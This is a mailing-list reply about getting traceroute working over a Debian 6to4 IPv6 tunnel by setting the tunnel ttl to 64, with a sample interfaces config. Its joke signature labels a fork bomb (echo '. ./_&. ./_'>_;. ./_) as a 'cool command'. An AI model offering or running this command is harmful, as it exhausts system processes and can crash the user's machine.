[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Re: Quick 'n' Easy IPv6 for Debian



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Once upon a midnight dreary, John Goerzen pondered, weak and weary:
> I've had a lot of trouble making traceroute/tracepath work over 6to4.
> Here's what I get:
> wile:~# tracepath6 www.netbsd.org
>  1?: [LOCALHOST]                      pmtu 1480
>   1:  <local router address snipped>                      1. 52ms
>    2:  no reply
[...]
>           20:  no reply
>           21:  www.netbsd.org                           asymm  7 151.

I had that problem until I fixed the ttl setting. ttl inherit bad, ttl != 
inherit good.
$ ip t l
fnordipv6: ipv6/ip  remote 2.1.1.2  local any  ttl 64

I've noted that in debian woody, the "ttl inherit" seems to be default. So
in /etc/network/interfaces, under your inet6 thing, if you have it there,
add:
"up ip tunnel change fnordipv6 ttl 64"

Here's my whole "default route" tunnel config, with addresses changed:
- ---
auto fnordipv6
iface fnordipv6 inet6 v4tunnel
        address 2001:b00b:b00b:b00b::2
        netmask 64
        endpoint 2.1.1.2
        up ip link set mtu 1280 dev fnordipv6
        up ip route add 2000::/3 via 2001:b00b:b00b:b00b::1 dev fnordipv6
        up ip tunnel change fnordipv6 ttl 64

- ---------
typedef struct me_s {
  char name[]      = { "Thomas Habets" };
  char email[]     = { "thomas@habets.pp.se" };
  char kernel[]    = { "Linux 2.4" };
  char *pgpKey[]   = { "http://www.habets.pp.se/pubkey.txt"; };
  char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE  0945 286A E90A AD48 E854" };
  char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQFADZM6KGrpCq1I6FQRAr4/AJ9JlwQJdntLeFQxdSRFEpHkZ4+qaQCghm9F
39+cnnKGdL/oApdj8+AIMTk=
=Wl4L
-----END PGP SIGNATURE-----



Reply to: